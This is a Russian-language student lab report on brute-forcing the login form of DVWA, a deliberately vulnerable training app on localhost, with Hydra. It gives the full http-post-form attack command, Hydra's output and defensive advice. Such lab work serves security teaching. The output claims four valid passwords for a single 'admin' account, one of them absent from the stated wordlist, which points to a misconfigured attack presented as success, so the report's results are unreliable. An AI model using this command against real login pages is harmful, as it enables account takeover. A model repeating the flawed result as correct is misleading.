

# Индивидуальный проект - этап 3

## Использование Hydra

Овезов Мерген

### Содержание

#### 1 Цель работы

Провести перебор паролей для формы авторизации DVWA с использованием утилиты Hydra и продемонстрировать успешный подбор..

#### 2 Исходные условия

Целевая система: DVWA (Damn Vulnerable Web Application)

Уровень безопасности: Low

Метод авторизации: HTTP POST Form

Тестируемый логин: admin

Словарь паролей: pass.txt (содержит тестовые пароли, включая 1234, password, admin, xthn)

Адрес DVWA: <http://127.0.0.1/DVWA/vulnerabilities/brute/>

#### 3 Выполнение работы

В браузере открыть DVWA → модуль Brute Force. Через инструменты разработчика (F12, вкладка Network) отправить тестовый логин/пароль.

Определить:

Путь (action): </DVWA/vulnerabilities/brute/>

Метод: POST

Поля формы: username, password, Login

Сообщение об ошибке: Username and/or password incorrect.

Составить команду Hydra:

```
(ovm@root)-[~]  
$ hydra -l admin -P ~/pass.txt 127.0.0.1 http-post-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."
```

Figure 1: запуск команды Hydra

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-13 19:01:27  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task  
[DATA] attacking http-post-form://127.0.0.1:80/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.  
[80][http-post-form] host: 127.0.0.1 login: admin password: login  
[80][http-post-form] host: 127.0.0.1 login: admin password: password  
[80][http-post-form] host: 127.0.0.1 login: admin password: admin  
[80][http-post-form] host: 127.0.0.1 login: admin password: xthn  
1 of 1 target successfully completed, 4 valid passwords found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-13 19:01:28  
  
(ovm@root)-[~]  
$
```

Figure 2: найденные пароли:

### 3 Вывод

Перебор паролей с помощью Hydra на security=low в DVWA возможен без дополнительных заголовков и токенов. Для своей безопасности стоит использовать сложные пароли, ограничивать количество попыток входа, применять капчу или задержки между запросами, хранить пароли в хэшированном виде.